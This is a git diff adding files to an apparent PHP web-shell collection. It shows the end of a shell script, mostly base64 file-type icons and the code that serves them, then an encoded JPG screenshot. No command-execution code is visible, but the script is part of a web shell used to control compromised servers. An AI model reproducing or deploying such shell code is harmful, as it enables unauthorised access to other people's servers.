+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_url"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg4CAgAAAAMDAwP///wAA/wAAgACAAAD/AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARdEMk5gQU0IyuOMUV1XYf3ESEgrCwQnGgQAENdjwCBFjO7". +"Xj9AaYbjFArBme1mKeiQLpWvqdMJosXB1akKbGxSzvXqVXEGNKDAuyGq0NqriyJTW2QaRP3Ozktk". +"fRQRADs=", +"ext_vbe"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMAAAP8AAAAAAAAAAAADRii63CEgxibH". +"kwDWEK3OACF6nDdhngWYoEgEMLde4IbS7SjPX93JrIwiIJrxTqTfERJUHTODgSAQ3QVjsZsgyu16". +"seAwLAEAOw==", +"ext_vbs"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAICAgMDAwAD//wCAgAAAAAAAAAAAAANQ". +"GLrcECXGJsWTJYyybbTQVBAkCBSgyKGPl2YjCcwnG2qrV13TQBI6GwbXqb0yCgCJJYSZOK4LZPDY". +"DHSvgEAQAGxrzQKNhgFtz+j0eM2eJQAAOw==", +"ext_vcf"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwICAAP//AAAA/4CAgIAAAAAAgP//". +"//8AAAAAAAAAAAAAAAAAAAAAAAAAAARYUElAK5VY2X0xp0LRTVYQAMWZaZWJAMJImiYVhEVmu7W4". +"srfeSUAUeFI10GBJ1JhEHcEgNiidDIaEQjqtAgiEjQFQXcK+4HS4DPKADwey3PjzSGH1VTsTAQA7", +"ext_wav"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_wma"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_wmf"=> +"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA". +"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q". +"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3". +"EzWCgwARADs=", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7", +"ext_xsl"=> +"R0lGODlhEAAQAEQAACH5BAEAABIALAAAAAAQABAAhAAAAPHx8f///4aGhoCAAP//ADNmmabK8AAA". +"gAAAmQCAgDP//zNm/zOZ/8DAwDOZAAAA/zPM/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAV3oDSMZDlKqBgIa8sKzpAOr9s6gqzWPOADItZhpVAwhCvgIHBICBSCRQMh". +"SAyVTZZiEXkgVlYl08loPCBUa0ApIBBWiDhSAHQXfLZavcAnABQGgYFJBHwDAAV+eWt2AAOJAIKD". +"dBKFfQABi0AAfoeZPEkSP6OkPyEAOw==", +"1"=> +"R0lGODlhGAASAPZKAAICAgISCgI6EgJqFj6aIkyiJhqWIg6WIgJ6GkKeIk6mJgJSFgJOFAIyEgJe". +"FjaKHkKSHkKOHgI+EiJyGjqCGjaCGj6KImKqQmauSgJGEipyFip2Gi52GgJWFgIqDjZ+HiJ+LgJW". +"GgJKEhBQGSZuHiJuFiJqFgImDlrOQiJuGiZ2HAJaFyaCHDKSHi5+GhJmFh5iFxpiFl6iQhp6Li6O". +"HkLCKjqqJjKCGhZuFhpaFhZaFgJeGjaqJj6yJjJ+Gi56GgJSEgJmGhZOFiJaGiZmIi52KkKKNlKe". +"PmKySnLGUnrWWip6GjaaIjKOHgJyGgIWCgoeCgIuDgJiFh5yFhJaFg5qFgp2GgqCHgJmHgJuGiZy". +"FiJmFiKCHiaOHg5OElqaQiqGLgJ2GipyGiZqGiJmGip+HiqOIi6WJhImFgJ+HhiCGiJ6GiJqGh5m". +"GiJ2GiaKHgImCkKONh52GhZyFhZ2GhZ+GhaGHlaWQmKmRl6iRgIiCwIeCgIaCgI2EgAAAAAAACwA". +"AAAAGAASAAAH/4AAAQIDBAUGAYiKiYwHjQGDCAkKBQsBlpiXmpkMAQ0ODxAREKSlpqemEhMUFa2u". +"rhYXGLO0tRkaGxwdHhm5uR8YICELGcUZIiIMDCMkJSYnKB4lJSkqGB0iKywtLi/FycswMTELJxkw". +"6DIzDCs0NTY3GzgZDAsdIzk5Ojr5/Rg7DFTw6OHjBwcNIoA4CDJCyBAiRYwcQZJECYYVC5YwafLD". +"4AaFA5yMeALlRBQJIjpIGfBvxZQbBTds0EClipUrIwJE0RnAA6QAGLBIyaKFg68tMCZw6ZLTSwAR". +"ATL8/AImS5gJYjaIGUOGRBkzZ3L+HBsADYY0atakYNOGDBs3LEfemMm5c6dPOJDMxuEiB4ffOXTq". +"qLHT9GnUwxLK3sGAJ4/jPHhoiSVLufJPujzvBsCLV08Az3sC8BEdoDBUqVITJ+7jqbXmQAA7", +"2"=> +"R0lGODlhPwASAOUDAFmwLFGkJUKQHmauSgBNEgBOEgBYFgBXFgBlGQBkGQByGgBxGgBzGgqAHQCB". +"HQ2BHQqCHRCCHSWNHySOHyWPICePICuXJSyWJSmXJSmPICeQISaPIBaFHQAQCgAZCgAXCgAWCgAU". +"CgASCgAlCgAhCgAfCgAbCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAPwASAAAG40CAcEgsGo/IpBIZ". +"aDqf0Kh0Sq1OBdisdsvter9g72BMLpvP6LR6nS643/C4fE6v2+/4vH4vNxz+B35/BoSCgYWAh4SJ". +"iIqLgYyJkokIlZaXmJmam5ydmwqgoaKjpKWmp6imEA4QrayrrbGys6+ztreuuLMPEBESv8DBwsPE". +"xcbHwxobFhfNF8zPztHT09DN0NbZ0tbU0s7QGeHhGuLi5OXo6eYa5+ru7xkbHPP09fb3+Pn6+/ls". +"/v8A/4kYSLCgwYMIEypcmNCDCBAPIzKcSLGiwREiSIgoIcKhQ4gQLYocKSIIADs=", +"3"=> +"R0lGODlhBgASAOUDAFmwLFGkJUKQHmauSmGoQz2IIDeCGwBUFwBZGiB/LjR+Hyt2GQBOEgBPFABV". +"Fyl0HgBXFgBYFwBbFwBjGTCEMFmiQQBmFwBpFwBtGQBzGhKCIGWtSgB2GwB6HQB/HQCCHRuIHwCE". +"HRCGHRKJHRKLHR2PICWPICSPIC2XJCyWJSmXJCmWJCmaJUOMO1iYQimPICyPIhImFB+IHySOIUGK". +"OAAQCliXQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAABgASAAAGSkCAcBgoGgXI5GBA". +"KBgMEERioFgwGA3I4AGRSCaUiuWCyWgGnI7nAxqERKNRaTAz2VGDFEvfcsH+MAMxMjM0gjVLNjE1". +"jI2Oj49BADs=", +"4"=> +"R0lGODlhQgASANQJAFmwLFGkJUKQHjeCGyt2GSFsFx1gFhtZFIrdY4zdZIndYobdYoPdYILdX4Dd". +"X3/dXgBvGQBuGQBwGQAQCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAA". +"QgASAAAFlSAgjmRpnmiqrkHrvnAsz3RtC3iu73zv/8DgYEgsGo/IpHLJJDif0Kh0Sq1ar4Wsdsvt". +"er/gsNhALpvP6LR6zW4f3vC4fE6v2+94hB6R6Pv/fnoJeguFhgiFDIqKDY2OjQ+GC3uCgJYRmJma". +"m5ydnpgSn6KeE6Wmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsMhADs=", +"5"=> +"R0lGODlhIQASAPYtAFmwLBqWIAASCg2VIEugJD6YIABqFwA6EAAAAFGkJQBSFABOFE2iJE6lJUKd". +"IgB5G0KQHkGPHTaJHQBdFgAzEDeCGzuBGiBxGQA+ECt2GQAtDQBFEi53GSpwFyFsFwAnDVrNQgAq". +"DSFqFyVsFxBQGR5hFhtgFhtZFBdZFIDdX3/dXobdYondYozdZInaYofYYYPTXn3MW3jEV3G6UWix". +"TF+lRVWYP0qLODx7LjNvKShhIRlYHRJQFxRKFA1GEgBuGQBlFwBaFABUFAAzDQ0dCgoZCgoWCgAW". +"CgAaCgAeCgAiCgAlCgA3EABKEg1OEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwA". +"AAAAIQASAAAH/4AAgoOCAQKGiIeKA4sCAAQFBgcCCAmWl5YKApqcm56dCwIJDA0OD5MQqaqrrK2u". +"ERASExQVtba3uLm6tRYXGBnAwcLDxMMKGhscGR0bHs7P0NHS0R8gISIeIyQl3N3e3+DfCh8bJtwk". +"J+nq6+zt7ijwJiQpKSor9yss+votLSwuL2DEkDGDRg0bN3Dk0LGDRw8fJH5InEixokQDQCYEEbJg". +"A4YhGj4QKWJEAAkBAo6kXIlEQMuWSQQokSlgSc2bIQRo0GnypYCYM23azElBQFEmAjAkFbCBqYAm". +"ApyYREm1qtWrWK2eXKlSpU+YNIPeHMpzJwmfQMcKIGpUAFKlSiObNoUqdWvWu3ipbu3K0qXftGKF". +"ri3b8y9NwWyPLo3rlK7JQAA7", +"font"=> +"/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAACgAA/+4ADkFkb2JlAGTAAAAAAf/b". +"AIQAFBAQGRIZJxcXJzImHyYyLiYmJiYuPjU1NTU1PkRBQUFBQUFERERERERERERERERERERERERE". +"RERERERERERERAEVGRkgHCAmGBgmNiYgJjZENisrNkREREI1QkRERERERERERERERERERERERERE". +"RERERERERERERERERERERERE/8AAEQgAlACUAwEiAAIRAQMRAf/EAHAAAAMBAQEAAAAAAAAAAAAA". +"AAACAwEEBgEBAAAAAAAAAAAAAAAAAAAAABAAAQMDAwMCBQIFBAMAAAAAAQAR4iGhAjESA0FhcVEi". +"8IGxwRPhwvFSgvIE0TJCYnKSohEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A85yO+rfO". +"SMMvTp3kjIkmvyrJPjk3WnmSCZyJLuPj+pM2QZ+veSTLlr28yVMeQkit5IMz4wA4y+P/AGUiW63k". +"unPMnWnx/wCS5ssvT6yQU489oZ9e8kFvW8k/DmG/WSjvO7W8kDbiOr/OSMcq0+slu7veSwcvobyQ". +"Bc6m8kbm63kjLItreSmM263kguSRi7hvMlIE7daeZLTyk47fvJZv9rPeSB+PlFHN5JuUhwxvJQxI". +"epvJVJALfeSBcvR7yWYgkt95KmTNreSXHLIGhf5yQY3Tr5khbuL9/MkIH5eQO7v85KQzJ63ktJ9r". +"veSUZt1vJBmRY1N5JvyBh27ySnJ6veSelK3kgtnlUg0Px3UTlVwbyVTlj0L/AB5UX73kgph7tcm+". +"clI5B6GnmSfAEuX7ayUiWOt5IH30d7yWYZN1vJLuej3kqYgnreSBs83x1vJSf1N5J26veSXI97yQ". +"dGO3Z8vWSRxs1r5kjEPjreSwYvjue8kExUO95LTyHqbyW8ebGpvJNzZuQxvJAm/veSrxkvreSgcj". +"63kqcRJOtPMkGv7nfr6yQt7PeSEGZ5FyD9ZJMcvU3kqZkklzeSHp7vrJBPLIPreSCSCK3kinQ3km". +"3gsB9ZIH5c2AANR/2/UKb97yVs8AA73ko5HveSCmPLtDfeSi7nW8lTHHdiwNX9ZKbt1f5yQGXq95". +"KoY1fp6yU3y9byVMX13afH8yBeTJgz3ksGYNHvJGWXTL6yWBh1vJBYPtcZfJ5KR5CcWGnmSc8hAH". +"j1kp45tT7yQbhkOpp5kmzOIIA+slmIchzeSblYEMbyQKW9byTY57TreSzIhqGvmSkSfW8kFvyV1v". +"JCVy2tfMkIN5OYE0L/OS0ZuKG8knKQDT6yT8eQABe8kGFuv1knOeIY4mvmShnybsne8lXEilbyQY". +"f8g5UJp5kkOXe8lbkxxxLg9fWSm/e8kG8eJy6t61ksdtDeSpxAkODr3koZ51Z9O8kGnkagN5Jxyg". +"9byUX73kqOB1vJBQl8XBr5kpO3W8lhyOr3kmJ7695IN3ECj+XkgY+13vJWxzGxn6eslHcW1p5kg3". +"HIir3ksy5zkdbyWDKoreSCADQv8AOSBssgRrXzJKC9HvJYToXvJNjlV3vJAbqs9fMkJfy+7W8kIN". +"5BtLPeSMPN5Izy9TXzJbg563kgnka0N5LRmSQHvJNl7Sz3kkGTHW8kHTy4ZYiuT/ADkucEvreSuf". +"8jeGP1kkOVdbyQU4ssgA1X7yXPmfca3kuri5RjiQTV/WS5+TJ8nBp5kgmS3W8loJPW8kwyB63kmx". +"yGNXvJApyo33kjfUVvJWzO7HdoK/GqiD3vJAEFv1kgZ0b7yXTjyDYzjT1kpbwBrXzJACoYm8kcjY". +"ZMDeSOM7tTTzJbyjHEit5IJ5Gmt5JsMhiam8kZZgdbySb3qDeSBt2O93p5khJ11vJCB8uQEu95IH". +"K1B9ZIzGzrTzJKM2IL3kgw51qbyTZ9jeSCXOtPMlmWTChvJBozb+MkmRrreSbHkHU3kseut5IOr/". +"AByAKm8lLMsSQbyWYEHreSUcrn9ZIDcDqW+ck4yx9byWbu95Jg3reSDCCQ708ySu3W8lXPNsaGnm". +"S5xyepvJBfHEbO/mSk3td7yTa47hleSXHIka08yQHGcnobyW8m5wcjeSbHMBq3kt5Mjk3T5yQSyJ". +"P8ZJ8GBd7yQdNbyWYgks7jzJAbxud7yQl9rs95IQPyA0BN5KenW8lXk5NzMdKayUhm9AbyQBypre". +"Sw5uNbyWkt1vJA7m8kGP3vJG7veSYZd6eZIJrreSBRkRV7yRjlXW8lXjALv9ZJMvaTWg7yQZln0e". +"8lozINTeSXd3vJM/w8kD5Znb+slHd3vJdBOO0jQ+ZKIHqbyQaOUtte8kwy9rPeSMdur18yT45A4d". +"/MkGcf8AM/X1kn5+bEttN5KfQl6eZJMyKAGnmSDTyd7yW4cjn9ZJMqdbyTcZ73kg1qt18yQm/IHd". +"7yQgzLIavr3kkNKg3km5CMdDeSXHMk63kgN/V7yTFmBB17ySZmut5IORYVvJA+BHU3kkyzrreSMM". +"u95Jz8VkgfibIO95JMg2RreSfiJqx07yU8+Ri5NfMkAcgOt5KgzB0N5Ln3P1vJbubreSDpzwYO95". +"KDtV7yTfnLN95LH7695IKBzj/up5kkFA73knx5iAB95JTmWp9ZIDfqH17yUn73krAghnr5kt5Msc". +"urHzJBHcepvJNhk51vJaR3vJGPIMTreSAY7tr3khDl9z18yQgzIsKm8kmJcs95J+XMZMxvJLiSC7". +"3kgCW63ktOb0+8kHNyS95LciWDG8kGA97yWDMuz3kgZd7yT6dbyQNhltBL08yU+XJ8nfXvJUxzAB". +"B+slPkz3VfXvJAm7veSbd3vJYC/W8k7j1vJBhyG3WvmS05UFbyQzhwbyWP0e8kFN4Ad3PnT/AOkn". +"5faz3kr45DbqNPWSmcBt3PeSDOPIUreStysQP9ZLlxJ9aeZKuZ29aeZIDIBtbyS7gOt5JDmT1vJO". +"MgRreSBfy/DyQl6s95IQV5d1H/clG743IQgT3dP3Kvu+NyEIEx3fG5GX5H/uQhA2O7/l+5FXpp/U". +"hCBMn6fuW4bvjchCBzvamn9SQbuv7kIQWDtRnb/son8jV0/qQhBuO7b/AHIz/J1/chCBDu+Ny3Dc". +"/wDchCA97/3IQhB//9k=", +"pdisk"=> +"R0lGODlhEQAMAOZkAODg34mJicfHx4GBguHh4WxsbObm5dDQ0H5+fnl5eYKCgv3+//Ly8t/f3svK". +"yqKios/PzsDAwKempktKS87NzaCgoE5OTnFyco2NjLu7u1JRVvf4+Pv+/4CAgMHAv9LS0mVldFdX". +"V0VFSsTDw7i4uXZ2dqSjpKWkpNzb24uLkMzM3efn5uzr60NDRoSEjmhnZ6usq+Tk49HR0HJyco6O". +"jlNTW3Z2hNjY2MHBwfHw8Dw8P9XV1KOjpNnZ2MvLytzc24mJjXh4ipeXl2JjY5STk25vdYqKiamp". +"qV1dXunp7Gxsa52cnHl5fZiYtrq6u9TU1ExMTq+vrvb3+FNTU+7t7srJyTQ0NO3s7Ozs63t8fE5N". +"Urq5unBwdZqamujn54CAktbV1X18fbW1tdTU0wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAGQALAAAAAARAAwAAAeLgGSCg4SFhoeIZCwoAmArFDtPC4UxABkJBSQMC1cAGw44PoNOYw0C". +"BAAMHFgNUkkqKUBeZBVLYqcGBzcfI11MLV82CGQSUUIKJlsyNJgDQ1ZNQUpkOQEBVTwdCmEWFwhF". +"IBpTWYMeAyUYJ1w6IjVQITNHP4RUEEQvLloTSAERBok9YBh5cCCRQUKBAAA7", +"odel"=> +"R0lGODlhEQAPAKIEAFQhHFQhG1MhG5QaHQAAAAAAAAAAAAAAACH5BAEAAAQALAAAAAARAA8AAAMq". +"SLrc/jDKIZoYb+iqgsbOVwFf9JGaRHypilLqxQaRl4rPu+AhuPuqYDABADs=" + +); +$imgequals = array( +"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), +"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"), +"ext_htaccess"=>array("ext_htaccess","ext_htpasswd") +); + ksort($arrimg); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) + { +if (in_array($img,$v)) {$img = $k;} + } + if (empty($arrimg[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($arrimg[$img]); + } + else + { + echo "<center>"; + $k = array_keys($arrimg); + foreach ($k as $u) + { +echo $u.":<img src=\"".$sul."act=img&img=".$u."\" border=\"1\"><br>"; + } + echo "</center>"; + } + exit; +} +if ($act == "about") +{ + $dta = "Any stupid copyrights and copylefts"; + echo $data; +} + +$microtime = round(getmicrotime()-$starttime,4); + +?> +<? // [CT] TEAM SCRIPTING - RODNOC ?> \ No newline at end of file diff --git a/php/PHPshell/gfs_sh/gfs_sh.jpg b/php/PHPshell/gfs_sh/gfs_sh.jpg new file mode 100644 index 0000000000000000000000000000000000000000..a8a32f2ddbcc3b97b48f12e415f2a1984fd4cfd3 GIT binary patch literal 59603 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 